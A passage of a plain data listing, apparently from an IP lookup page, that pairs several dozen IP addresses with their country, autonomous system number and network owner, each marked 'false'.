 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
57.253.145.170
 unknown Belgium
2686 ATGS-MMD-ASUS false
56.239.66.223
 unknown United States
2686 ATGS-MMD-ASUS false
89.38.231.26
 unknown Romania
5588 GTSCEGTSCentralEuropeAntelGermanyCZ false
140.173.240.113
 unknown United States
2648 NIST-BOULDERUS false
164.88.190.201
 unknown South Africa
137951 CLAYERLIMITED-AS-APClayerLimitedHK false
107.33.221.94
 unknown United States
16567 NETRIX-16567US false
107.238.234.193
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
64.68.104.16
 unknown United States
13445 13445US false
80.125.143.101
 unknown France
15557 LDCOMNETFR false
135.174.27.76
 unknown United States
14962 NCR-252US false
157.247.33.222
 unknown Austria
8447 TELEKOM-ATA1TelekomAustriaAGAT false
68.150.53.190
 unknown Canada
6327 SHAWCA false
65.154.210.141
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
106.227.227.137
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
4.132.229.139
 unknown United States
3356 LEVEL3US false
161.87.2.211
 unknown Netherlands
14298 EPA-NETUS false
34.60.130.135
 unknown United States
2686 ATGS-MMD-ASUS false
76.139.82.162
 unknown United States
7922 COMCAST-7922US false
102.136.202.118
 unknown Cote D'ivoire
36974 AFNET-ASCI false
77.78.100.63
 unknown Czech Republic
15685 CASABLANCA-ASInternetCollocationProviderCZ false
181.197.167.19
 unknown Panama
18809 CableOndaPA false
94.85.231.93
 unknown Italy
3269 ASN-IBSNAZIT false
105.64.146.148
 unknown Morocco
36884 MAROCCONNECTMA false
217.226.159.20
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
37.111.99.84
 unknown Myanmar
133385 TELENORMYANMAR-ASTelenorMyanmarMM false
136.7.94.185
 unknown United States
60311 ONEFMCH false
35.152.72.75
 unknown United States
16509 AMAZON-02US false
53.72.77.139
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
208.129.235.108
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
194.229.88.151
 unknown Netherlands
702 UUNETUS false
87.20.125.245
 unknown Italy
3269 ASN-IBSNAZIT false
209.25.19.70
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
146.52.82.162
 unknown Germany
31334 KABELDEUTSCHLAND-ASDE false
199.15.102.145
 unknown United States
20201 CARYCO-TECHUS false